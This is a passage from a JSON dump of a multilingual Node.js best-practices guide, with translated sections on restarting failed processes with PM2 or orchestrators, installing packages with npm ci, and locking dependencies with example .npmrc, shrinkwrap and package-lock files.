    "content": "# 保护和重启你的失败进程（用正确的工具）\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n在基本级别，必须保护Node进程并在出现故障时重新启动。简单地说, 对于那些小应用和不使用容器的应用 – 像这样的工具 [PM2](https://www.npmjs.com/package/pm2-docker) 是完美的，因为它们带来简单性，重启能力以及与Node的丰富集成。其他具有强大Linux技能的人可能会使用systemd并将Node作为服务运行。对于使用Docker或任何容器技术的应用程序来说，事情会变得更加有趣，因为集群管理和协调工具（比如[AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html)，[Kubernetes](https://kubernetes.io/)等）会完成部署，监视和保持容器健康的功能。拥有所有丰富的集群管理功能（包括容器重启），为什么还要与其他工具（如PM2）混为一谈？这里并没有可靠的答案。将PM2保留在容器（主要是其容器特定版本[pm2-docker](https://www.npmjs.com/package/pm2-docker)）中作为第一个守护层是有充分的理由的 - 在主机容器要求正常重启时，重新启动更快，并提供特定于node的功能比如向代码发送信号。其他选择可能会避免不必要的层。总而言之，没有一个解决方案适合所有人，但了解这些选择是最重要的。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 其它博主说了什么\r\n\r\n* 来自[Express 生成最佳实践](https://expressjs.com/en/advanced/best-practice-performance.html):\r\n> ... 在开发中，您只需从命令行使用node.js或类似的东西启动您的应用程序。**但是在生产中这样做是一种灾难。 如果应用程序崩溃，它将掉线**，直到您重新启动它。要确保应用程序在崩溃时重新启动，请使用进程管理器。流程管理器是便于部署的应用程序的“容器”，提供高可用性，并使您能够在运行时管理应用程序。\r\n\r\n* 摘自 the Medium blog post [了解节点集群](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3):\r\n> ...了解Docker-Land中的NodeJS集群“Docker容器”是流线型的轻量级虚拟环境，旨在将流程简化为最低限度。管理和协调自己资源的流程不再有价值。**相反，像Kubernetes，Mesos和Cattle这样的管理层已经普及了这些资源应该在整个基础设施范围进行管理的概念**。CPU和内存资源由“调度器”分配，网络资源由堆栈提供的负载均衡器管理。\r\n"
  },
  {
    "path": "sections/production/guardprocess.french.md",
    "content": "# Protégez et redémarrez votre processus en cas d'échec (en utilisant le bon outil)\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nA la base, les processus de Node doivent être protégés et redémarrés en cas de défaillance. Autrement dit, pour les petites applications et celles qui n'utilisent pas de conteneurs - des outils comme [PM2](https://www.npmjs.com/package/pm2-docker) sont parfaits car ils apportent la simplicité, des capacités de redémarrage et également une intégration riche avec Node. D'autres personnes avec de solides compétences Linux peuvent utiliser systemd et exécuter Node en tant que service. Les choses deviennent plus intéressantes pour les applications qui utilisent Docker ou n'importe quelle technologie de conteneur, car ils sont généralement accompagnées d'outils de gestion et d'orchestration de cluster (par exemple [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [Kubernetes](https://kubernetes.io/), etc.) qui déploient, surveillent et réparent les conteneurs. Avec toutes ces fonctionnalités riches de gestion de cluster, y compris le redémarrage des conteneurs, pourquoi jouer avec d'autres outils comme PM2 ? Il n'y a pas de réponse à toute épreuve. Il existe de bonnes raisons de conserver PM2 dans les conteneurs (principalement sa version spécifique aux conteneurs [pm2-docker](https://www.npmjs.com/package/pm2-docker)) comme premier niveau de protection - il est beaucoup plus rapide de redémarrer un processus et de fournir des fonctionnalités spécifiques de Node comme le marquage du code lorsque le conteneur d'hébergement demande de redémarrer correctement. D'autres pourraient choisir d'éviter les couches inutiles. Pour conclure cet article, aucune solution ne conviendra à tous et l'important est de connaître les options.\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\n* Extrait des [Bonnes pratiques d'Express en production](https://expressjs.com/en/advanced/best-practice-performance.html) :\n> ... Lors du développement, vous avez démarré votre application simplement à partir de la ligne de commande avec server.js de Node ou quelque chose de similaire. **Mais faire cela en production est une recette catastrophique. Si l'application se bloque, elle sera hors ligne** jusqu'à ce que vous la redémarriez. Pour vous assurer que votre application redémarre en cas de panne, utilisez un gestionnaire de processus. Un gestionnaire de processus est un « conteneur » pour les applications qui facilite le déploiement, offre une haute disponibilité et vous permet de gérer l'application au moment de l'exécution.\n\n* Extrait du blog Medium [Comprendre le clustering de Node](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3) :\n> ... Comprendre le clustering de Node.js dans Docker-Land : « Les conteneurs Docker sont des environnements virtuels légers et rationalisés, conçus pour simplifier les processus au strict minimum. Les processus qui gèrent et coordonnent leurs propres ressources n'ont plus la même valeur. **Au lieu de cela, les couches de gestion comme Kubernetes, Mesos et Cattle ont popularisé le concept selon lequel ces ressources devraient être gérées au niveau de l'infrastructure**. Les ressources CPU et mémoire sont allouées par des « planificateurs » et les ressources réseau sont gérées par des équilibreurs de charge (NdT, « load balancers ») fournis par la couche.\n"
  },
  {
    "path": "sections/production/guardprocess.japanese.md",
    "content": "# 障害が発生した場合は、プロセスを保護して再起動します（適切なツールを使用します）\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n基本的なレベルとして、ノードプロセスはガードされ、障害が発生したときに再起動されなければなりません。簡単に言うと、小さなアプリやコンテナを使わない人向けに – [PM2](https://www.npmjs.com/package/pm2-docker) のようなツールは、シンプルさ、再起動機能、そして Node との豊富な統合をもたらすので完璧です。Linux に強い人は systemd を使って Node をサービスとして動かすかもしれません。Docker やコンテナ技術を使用しているアプリケーションでは、クラスタ管理やコンテナのデプロイ、監視、修復を行うことができるオーケストレーションツールを使用するのが一般的なので、状況はさらに面白くなります。(例：[AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html)、[Kubernetes](https://kubernetes.io/) など) コンテナの再起動を含む、すべての豊富なクラスタ管理機能を持つのに、なぜ PM2 のような他のツールに干渉してしまうのでしょうか？ 心配のない答えはありません。コンテナ内で PM2 を最初のガード層として維持するには十分な理由があります (主にコンテナ固有のバージョン [pm2-docker](https://www.npmjs.com/package/pm2-docker) ) – それは、プロセスを再起動する方がはるかに高速で、ホスティングコンテナが再起動を要求したときにコードにフラグを立てるなどの Node 固有の機能を提供します。不要なレイヤーを避けるために選ぶ人がいるかもしれません。この記事の結論としては、どのソリューションもそれらすべてに適しておらず、オプションを知ることが重要なことです。\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\n* [Express Production Best Practices(Express プロダクションのベストプラクティス)](https://expressjs.com/en/advanced/best-practice-performance.html) より:\r\n> ...開発では、node server.js などを使ってコマンドラインからアプリを起動するだけでした。**しかし、本番でこれを行うことは災いのもとです。アプリがクラッシュした場合、オフラインになってしまうでしょう。** 再起動するまで。 アプリがクラッシュした場合に確実に再起動するには、プロセスマネージャを使用します。プロセスマネージャは、デプロイを容易にし、高可用性を提供し、実行時にアプリケーションを管理できるようにするアプリケーションのための「コンテナ」です。\r\n\r\n* Medium のブログポスト [Understanding Node Clustering(Node クラスタリングを理解する)](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3) より:\r\n> ...Docker-Land で Node.js クラスタリングを理解する Docker コンテナは、プロセスを最小限に簡素化するために設計された、合理化された軽量な仮想環境です。自らの資源を管理・調整するプロセスは、もはや価値がありません。**代わりに、Kubernetes、Mesos、Cattle のような管理スタックは、これらのリソースをインフラストラクチャ全体で管理すべきだという概念を普及させてきました**。 CPUやメモリのリソースは「スケジューラ」によって割り当てられ、ネットワークリソースはスタック提供のロードバランサによって管理されます。\r\n"
  },
  {
    "path": "sections/production/guardprocess.korean.md",
    "content": "# Guard and restart your process upon failure (using the right tool)\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nAt the base level, Node processes must be guarded and restarted upon failures. Simply put, for small apps and those who don’t use containers – tools like [PM2](https://www.npmjs.com/package/pm2-docker) are perfect as they bring simplicity, restarting capabilities and also rich integration with Node. Others with strong Linux skills might use systemd and run Node as a service. Things get more interesting for apps that use Docker or any container technology since those are usually accompanied by cluster management and orchestration tools (e.g. [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [Kubernetes](https://kubernetes.io/), etc) that deploy, monitor and heal containers. Having all those rich cluster management features including container restart, why mess up with other tools like PM2? There’s no bulletproof answer. There are good reasons to keep PM2 within containers (mostly its containers specific version [pm2-docker](https://www.npmjs.com/package/pm2-docker)) as the first guarding tier – it’s much faster to restart a process and provide Node-specific features like flagging to the code when the hosting container asks to gracefully restart. Other might choose to avoid unnecessary layers. To conclude this write-up, no solution suits them all and getting to know the options is the important thing\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the [Express Production Best Practices](https://expressjs.com/en/advanced/best-practice-performance.html):\r\n> ... In development, you started your app simply from the command line with node server.js or something similar. **But doing this in production is a recipe for disaster. If the app crashes, it will be offline** until you restart it. To ensure your app restarts if it crashes, use a process manager. A process manager is a “container” for applications that facilitate deployment, provides high availability, and enables you to manage the application at runtime.\r\n\r\n* From the Medium blog post [Understanding Node Clustering](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3):\r\n> ... Understanding Node.js Clustering in Docker-Land “Docker containers are streamlined, lightweight virtual environments, designed to simplify processes to their bare minimum. Processes that manage and coordinate their own resources are no longer as valuable. **Instead, management stacks like Kubernetes, Mesos, and Cattle have popularized the concept that these resources should be managed infrastructure-wide**. CPU and memory resources are allocated by “schedulers”, and network resources are managed by stack-provided load balancers.\r\n"
  },
  {
    "path": "sections/production/guardprocess.md",
    "content": "# Guard and restart your process upon failure (using the right tool)\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nAt the base level, Node processes must be guarded and restarted upon failures. Simply put, for small apps and those who don’t use containers – tools like [PM2](https://www.npmjs.com/package/pm2) are perfect as they bring simplicity, restarting capabilities and also rich integration with Node. Others with strong Linux skills might use systemd and run Node as a service. Things get more interesting for apps that use Docker or any container technology since those are usually accompanied by cluster management and orchestration tools (e.g. [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [Kubernetes](https://kubernetes.io/), etc) that deploy, monitor and heal containers. Having all those rich cluster management features including container restart, why mess up with other tools like PM2? There’s no bulletproof answer. There are good reasons to keep PM2 within containers (mostly its containers specific version [pm2-docker](https://www.npmjs.com/package/pm2-docker)) as the first guarding tier – it’s much faster to restart a process and provide Node-specific features like flagging to the code when the hosting container asks to gracefully restart. Other might choose to avoid unnecessary layers. To conclude this write-up, no solution suits them all and getting to know the options is the important thing\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the [Express Production Best Practices](https://expressjs.com/en/advanced/best-practice-performance.html):\r\n> ... In development, you started your app simply from the command line with node server.js or something similar. **But doing this in production is a recipe for disaster. If the app crashes, it will be offline** until you restart it. To ensure your app restarts if it crashes, use a process manager. A process manager is a “container” for applications that facilitate deployment, provides high availability, and enables you to manage the application at runtime.\r\n\r\n* From the Medium blog post [Understanding Node Clustering](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3):\r\n> ... Understanding Node.js Clustering in Docker-Land “Docker containers are streamlined, lightweight virtual environments, designed to simplify processes to their bare minimum. Processes that manage and coordinate their own resources are no longer as valuable. **Instead, management stacks like Kubernetes, Mesos, and Cattle have popularized the concept that these resources should be managed infrastructure-wide**. CPU and memory resources are allocated by “schedulers”, and network resources are managed by stack-provided load balancers.\r\n"
  },
  {
    "path": "sections/production/guardprocess.polish.md",
    "content": "# Chroń i wznawiaj swoje procesy w przypadku awarii (za pomocą odpowiedniego narzędzia)\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nNa poziomie podstawowym procesy węzłów muszą być chronione i restartowane w przypadku awarii. Mówiąc prosto, dla małych aplikacji i tych, którzy nie używają kontenerów - narzędzia takie jak [PM2](https://www.npmjs.com/package/pm2-docker) są idealne, ponieważ zapewniają prostotę, możliwości ponownego uruchamiania oraz bogatą integrację z węzłem. Inni z dużymi umiejętnościami w Linuksie mogą używać systemd i uruchamiać Node jako usługę. Sprawy stają się bardziej interesujące dla aplikacji korzystających z Dockera lub dowolnej technologii kontenerowej, ponieważ zwykle towarzyszą im narzędzia do zarządzania klastrami i organizacji (np. [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [Kubernetes](https://kubernetes.io/) itp.), które wdrażają, monitorują i leczą kontenery. Mając te wszystkie bogate funkcje zarządzania klastrami, w tym restart kontenera, po co mieszać się z innymi narzędziami, takimi jak PM2? Nie ma kuloodpornej odpowiedzi. Istnieją dobre powody, aby trzymać PM2 w kontenerach (głównie jego specyficzna wersja kontenerów [pm2-docker](https://www.npmjs.com/package/pm2-docker)) jako pierwsza warstwa ochronna - znacznie szybciej jest zrestartować przetwarzać i udostępniać funkcje specyficzne dla węzłów, takie jak oznaczanie kodu, gdy kontener hostujący prosi o wdzięczne ponowne uruchomienie. Inni mogą unikać niepotrzebnych warstw. Na zakończenie tego podsumowania żadne rozwiązanie nie pasuje do nich wszystkich, a poznanie opcji jest ważne.\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\n* Z [Express Production Best Practices](https://expressjs.com/en/advanced/best-practice-performance.html):\n> ... In development, you started your app simply from the command line with node server.js or something similar. **But doing this in production is a recipe for disaster. If the app crashes, it will be offline** until you restart it. To ensure your app restarts if it crashes, use a process manager. A process manager is a “container” for applications that facilitate deployment, provides high availability, and enables you to manage the application at runtime.\n\n* Z posta na blogu Medium [Understanding Node Clustering](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3):\n> ... Understanding Node.js Clustering in Docker-Land “Docker containers are streamlined, lightweight virtual environments, designed to simplify processes to their bare minimum. Processes that manage and coordinate their own resources are no longer as valuable. **Instead, management stacks like Kubernetes, Mesos, and Cattle have popularized the concept that these resources should be managed infrastructure-wide**. CPU and memory resources are allocated by “schedulers”, and network resources are managed by stack-provided load balancers.\n"
  },
  {
    "path": "sections/production/guardprocess.russian.md",
    "content": "# Защищайте и перезапускайте свой процесс в случае неудачи (используя правильный инструмент)\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nНа базовом уровне процессы Node должны быть защищены и перезапущены при сбоях. Проще говоря, для небольших приложений и тех, кто не использует контейнеры, такие инструменты, как [PM2](https://www.npmjs.com/package/pm2-docker), являются идеальными, поскольку они обеспечивают простоту, перезапускающие возможности, а также богатую интеграцию с узлом. Другие с сильными навыками Linux могут использовать systemd и запускать Node в качестве службы. Вещи становятся более интересными для приложений, использующих Docker или любую контейнерную технологию, поскольку они обычно сопровождаются инструментами управления кластером и оркестровки (например, [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [Kubernetes](https://kubernetes.io/) и т.д.), которые разворачивают, контролируют и восстанавливают контейнеры. Имея все эти богатые функции управления кластером, включая перезапуск контейнера, зачем связываться с другими инструментами, такими как PM2? Там нет пуленепробиваемого ответа. Существуют веские причины держать PM2 в контейнерах (в основном это специфичная для контейнеров версия [pm2-docker](https://www.npmjs.com/package/pm2-docker)) в качестве первого уровня защиты - гораздо быстрее перезапустить обрабатывать и предоставлять специфичные для узла функции, такие как пометка кода, когда хост-контейнер запрашивает корректный перезапуск. Другие могут избежать ненужных слоев. В завершение этой статьи ни одно решение не подходит им всем, и важно знать варианты.\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\n* Из [Express Production Best Practices](https://expressjs.com/en/advanced/best-practice-performance.html):\r\n> ... В процессе разработки вы запускали свое приложение просто из командной строки с помощью узла server.js или чего-то подобного. **Но делать это на производстве - это путь к катастрофе. В случае сбоя приложения оно будет отключено** до тех пор, пока вы его не перезапустите. Чтобы приложение перезагружалось в случае сбоя, используйте диспетчер процессов. Диспетчер процессов - это \"контейнер\" для приложений, который облегчает развертывание, обеспечивает высокую доступность и позволяет управлять приложением во время выполнения.\r\n\r\n* Из сообщения в Medium [Understanding Node Clustering](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3):\r\n> ... Понимание кластеризации Node.js в мире Docker: \"Контейнеры Docker представляют собой упрощенные, легкие виртуальные среды, предназначенные для упрощения процессов до минимума. Процессы, которые управляют и координируют свои собственные ресурсы, уже не так ценны. **Вместо этого, стеки управления, такие как Kubernetes, Mesos и Cattle, популяризировали концепцию управления этими ресурсами во всей инфраструктуре**. Ресурсы ЦП и памяти распределяются \"планировщиками\", а сетевые ресурсы управляются балансировщиками нагрузки, предоставляемыми стеком\".\r\n"
  },
  {
    "path": "sections/production/installpackageswithnpmci.basque.md",
    "content": "# Instalatu npm ci paketeak ekoizpenean\n\n<br/><br/>\n\n### Azalpena\n\nZure menpekotasunak blokeatu dituzu [**Blokeatu menpekotasunak**](./lockdependencies.basque.md) jarraituz, baina orain ziurtatu behar duzu pakete bertsio zehatzak erabiltzen direla ekoizpenean.\n\nPaketeak instalatzeko `npm ci` erabiltzen baduzu, hori eta gehiago lortuko duzu.\n\n- Zure `package.json` eta `package-lock.json` bat ez badatoz (hala behar lukete) edo blokeo fitxategirik ez baduzu, huts egingo du instalazioak\n- `node_modules` karpeta badago, automatikoki kenduko du instalatu aurretik\n- Azkarragoa da! [Argitaratutako bloga](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)ren arabera, ia bi aldiz azkarragoa\n\n### Noiz egon daiteke erabilgarri?\n\nZiur egon IE inguruneak edo QAk probatuko duzula zure softwarea geroago ekoizpenera bidaliko duzun pakete bertsio berarekin.\nGainera, arrazoiren batengatik norbaitek package.json eskuz aldatzen badu, ez cli komando baten bidez, baizik eta package.json zuzenean editatuz, tarte bat sortzen da package.json eta package-lock.jsonen artean, eta errore bat jaurtitzen da.\n\n### npmek dioena\n\n[npm ciren dokumentazio](https://docs.npmjs.com/cli/ci.html)tik hartua\n\n> Komando hau npm-installen antzekoa da, salbu eta ingurune automatizatuetan erabiltzeko dela, hala nola, proba plataformetan, etengabeko integrazio eta inplementazioetan, edo zure menpekotasunen instalazio garbia egiten ari zarela ziurtatu nahi duzun edozein egoeratan.\n\n[`ci` komandoaren jaregitea iragartzen duen blogeko mezua](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)\n\n> Komandoak hobekuntza handiak eskaintzen dizkie eraikuntzen errendimenduari eta fidagarritasunari etengabeko integrazio/ inplementazio prozesuetarako, esperientzia koherentea eta azkarra eskainiz CI/CD erabiltzen duten garatzaileei beren lan-fluxuan.\n\n[npmjs: menpekotasunak versus garatze-menpekotasunak (npmjs: dependencies and devDepencies)](https://docs.npmjs.com/specifying-dependencies-and-devdependencies-in-a-package-json-file)\n\n> \"dependencies\": zure aplikazioak ekoizpenean eskatzen dituen paketeak.\n> \"devDependencies\": tokiko garapenerako eta probetarako soilik behar diren paketeak.\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/installpackageswithnpmci.french.md",
    "content": "# Installez vos paquets avec npm ci en production\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nVous avez verrouillé vos dépendances en utilisant [**Verrouillez les dépendances**](./lockdependencies.french.md), mais maintenant, vous devez vous assurer que ces versions précises des paquets sont utilisées en production.\n\nL'utilisation de `npm ci` pour installer des paquets fera exactement cela et plus encore.\n* Il échouera si votre `package.json` et votre `package-lock.json` ne correspondent pas (ils devraient) ou si vous n'avez pas de fichier lock\n* Si un dossier `node_modules` est présent, il sera automatiquement supprimé avant l'installation\n* C'est plus rapide ! Près de deux fois plus rapide selon [l'article de version du blog](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)\n\n### Quand cela peut-il être utile ?\nVous avez la garantie que votre environnement CI ou de qualité testera votre logiciel avec exactement la même version que celle que vous enverrez plus tard en production.\nDe plus, si pour une raison quelconque quelqu'un modifie manuellement le fichier package.json, sans utiliser une commande du cli mais plutôt en éditant directement le fichier package.json, un écart entre le package.json et le package-lock.json est engendré et une erreur sera levée.\n\n### Ce que dit npm\n\nExtrait de la [documentation npm ci](https://docs.npmjs.com/cli/ci.html)\n> Cette commande est similaire à npm-install, sauf qu'elle est destinée à être utilisée dans des environnements automatisés tels que les plateformes de test, l'intégration continue et le déploiement, ou toute situation où vous voulez vous assurer que vous faites une installation propre de vos dépendances.\n\n[Article du blog annonçant la sortie de la commande `ci`](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)\n> La commande offre des améliorations considérables à la fois en termes de performance et de fiabilité des builds pour les intégrations continues/processus de déploiement continus, offrant une expérience cohérente et rapide aux développeurs qui utilisent les CI/CD dans leur flux de travail.\n\n[npmjs: dependencies et devDepencies](https://docs.npmjs.com/specifying-dependencies-and-devdependencies-in-a-package-json-file)\n>    \"dependencies\": Paquets requis par votre application en production.\n>    \"devDependencies\": Paquets qui ne sont nécessaires que pour le développement local et les tests.\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/installpackageswithnpmci.japanese.md",
    "content": "# 本番環境に npm ci を使ってパッケージをインストールする\n\n<br/><br/>\n\n### 一段落説明\n\n[**依存関係をロックする**](./lockdependencies.japanese.md) に従って依存関係をロックしましたが、本番環境で使用されているパッケージのバージョンが正確であることを確認する必要があります。\n\nパッケージのインストールに `npm ci` を使うと、まさにそれ以上のことができます。\n* `package.json` と `package-lock.json` が一致していない (一致しているはずの) 場合や、ロックファイルがない場合は失敗します。\n* もし `node_modules` フォルダが存在する場合は、インストールする前に自動的に削除される\n* より速くなります!  [リリースブログ記事](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable) によると、2倍近く速くなっています。\n\n### これはどんな時に役立つのでしょうか？\nCI 環境や QA が、後に本番環境に送るものと全く同じパッケージバージョンでソフトウェアをテストすることが保証されています。\nまた、何らかの理由で cli コマンドではなく、直接 package.json を編集して手動で package.json を変更した場合、package.json と package-lock.json の間にギャップが生じてエラーが発生します。\n\n### npm が言っていること\n\n[npm ci ドキュメント](https://docs.npmjs.com/cli/ci.html) より\n> このコマンドは npm-install と似ていますが、テストプラットフォームや継続的インテグレーション、デプロイメントなどの自動化された環境や、依存関係をクリーンインストールしていることを確認したい状況で使用することを目的としています。\n\n[ `ci` コマンドのリリースを発表しているブログポスト](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)\n>  このコマンドは、継続的インテグレーション/継続的デプロイメントプロセスのためのビルドのパフォーマンスと信頼性を大幅に改善し、ワークフローで CI/CD を使用している開発者に一貫性のある高速な体験を提供します。\n\n[npmjs: dependencies と devDepencies](https://docs.npmjs.com/specifying-dependencies-and-devdependencies-in-a-package-json-file)\n>    \"dependencies\": 本番環境のアプリケーションに必要なパッケージ\n>    \"devDependencies\": ローカルでの開発やテストにのみ必要なパッケージ\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/installpackageswithnpmci.md",
    "content": "# Install packages with npm ci in production\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nYou locked your dependencies following [**Lock dependencies**](./lockdependencies.md) but you now need to make sure those exact package versions are used in production.\n\nUsing `npm ci` to install packages will do exactly that and more.\n* It will fail if your `package.json` and your `package-lock.json` do not match (they should) or if you don't have a lock file\n* If a `node_modules` folder is present it will automatically remove it before installing\n* It is faster! Nearly twice as fast according to [the release blog post](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)\n\n### When can this be useful?\nYou are guaranteed that you CI environment or QA will test your software with exactly the same package version that the one you will later send to production.\nAlso, if for some reason someone manually changes package.json, not through a cli command but rather by directly editing package.json, a gap between package.json & package-lock.json is created and an error will be thrown.\n\n### What npm says\n\nFrom [npm ci documentation](https://docs.npmjs.com/cli/ci.html)\n> This command is similar to npm-install, except it’s meant to be used in automated environments such as test platforms, continuous integration, and deployment – or any situation where you want to make sure you’re doing a clean install of your dependencies.\n\n[Blog post announcing the release of `ci` command](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)\n>  The command offers massive improvements to both the performance and reliability of builds for continuous integration / continuous deployment processes, providing a consistent and fast experience for developers using CI/CD in their workflow.\n\n[npmjs: dependencies and devDepencies](https://docs.npmjs.com/specifying-dependencies-and-devdependencies-in-a-package-json-file)\n>    \"dependencies\": Packages required by your application in production.\n>    \"devDependencies\": Packages that are only needed for local development and testing.\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/lockdependencies.basque.md",
    "content": "# Blokeatu menpekotasunak\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nZure kodea kanpoko pakete askoren menpe dago. Esan dezagun momentjs-2.1.4 ‘behar‘ eta erabiltzen duela eta, lehenespenez, ekoizpenean erabiltzen duzunean, npmek zmomentjs 2.1.5 eskura dezake, tamalez errore berri batzuk ekarriko dituena mahaira. Npm konfigurazio fitxategiak eta `–save-exact=true` argumentuak erabiltzeak adierazten dio npm-ri instalatutako bertsio berbera erabili behar duela, eta, beraz, `npm install` exekutatzen duzun hurrengo aldian (ekoizpenean edo probak egiteko bidali nahi duzu Docker edukiontzi baten barruan) menpeko bertsio bera eskuratuko du. Horren ordez, aukera egokia eta ezaguna da `.shrinkwrap` fitxategia erabiltzea (npm erabiliz erraz sortzen dena), berak adieraziko baitu zein pakete eta bertsio instalatu beharko liratekeen inongo inguruneak tentaziorik izan ez dezan espero baino bertsio berriagorik bilatzeko.\r\n\r\n- **Eguneratzea:** npm 5etik aurrera, menpekotasunak automatikoki blokeatzen dira .shrinkwrap erabiliz gero. Yarn pakete kudeatzaile sortu berriak ere menpekotasunak blokeatzen ditu lehenespenez.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: .npmrc fitxategi mota bat da, npmri agindua ematen diona bertsio zehatzak erabiltzeko\r\n\r\n```npmrc\r\n// gorde hau .npmrc fitxategi gisa zure proiektuan\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: shrinkwrap.json fitxategia, menpekotasun zuhaitz zehatza osatzen duena\r\n\r\n```json\r\n{\r\n  \"name\": \"A\",\r\n  \"dependencies\": {\r\n    \"B\": {\r\n      \"version\": \"0.0.1\",\r\n      \"dependencies\": {\r\n        \"C\": {\r\n          \"version\": \"0.1.0\"\r\n        }\r\n      }\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: npm 5 menpekotasunak blokeatzeko fitxategia - package-lock.json\r\n\r\n```json\r\n{\r\n  \"name\": \"package-name\",\r\n  \"version\": \"1.0.0\",\r\n  \"lockfileVersion\": 1,\r\n  \"dependencies\": {\r\n    \"cacache\": {\r\n      \"version\": \"9.2.6\",\r\n      \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n      \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n    },\r\n    \"duplexify\": {\r\n      \"version\": \"3.5.0\",\r\n      \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n      \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n      \"dependencies\": {\r\n        \"end-of-stream\": {\r\n          \"version\": \"1.0.0\",\r\n          \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n          \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n        }\r\n      }\r\n    }\r\n  }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/lockdependencies.brazilian-portuguese.md",
    "content": "# Bloqueio de dependências\r\n\r\n<br/><br/>\r\n\r\n### Explicação de um Parágrafo\r\n\r\nSeu código depende de muitos pacotes externos, digamos que ele \"requeira\" e use momentjs-2.1.4. Depois, por padrão, quando você implanta para produção, o npm pode buscar momentjs 2.1.5, o que infelizmente traz alguns novos bugs à aplicação. Usando os arquivos de configuração do npm e o argumento ```–save-exact = true``` instrui o npm a se referir à *exata* versão que foi instalada, então da próxima vez que você executar ```npm install``` (em produção ou dentro de um contêiner Docker que você planeja enviar para a frente para testes), a mesma versão dependente será buscada. Uma abordagem alternativa e popular é usar um arquivo `.shrinkwrap` (gerado facilmente usando npm) que indica exatamente quais pacotes e versões devem ser instalados para que nenhum ambiente seja tentado a buscar versões mais novas do que o esperado.\r\n\r\n* **Atualização:** a partir do npm 5, as dependências são bloqueadas automaticamente usando .shrinkwrap. O Yarn, um gerenciador de pacotes emergente, também bloqueia dependências por padrão.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: arquivo .npmrc que instrui o npm a usar as versões exatas\r\n\r\n```npmrc\r\n// salve isso como arquivo .npmrc no diretório do projeto\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: arquivo shrinkwrap.json que destila a árvore de dependência exata\r\n\r\n```json\r\n{\r\n    \"name\": \"A\",\r\n    \"dependencies\": {\r\n        \"B\": {\r\n            \"version\": \"0.0.1\",\r\n            \"dependencies\": {\r\n                \"C\": {\r\n                    \"version\": \"0.1.0\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: npm 5 arquivo de bloqueio de dependências - package.json\r\n\r\n```json\r\n{\r\n    \"name\": \"package-name\",\r\n    \"version\": \"1.0.0\",\r\n    \"lockfileVersion\": 1,\r\n    \"dependencies\": {\r\n        \"cacache\": 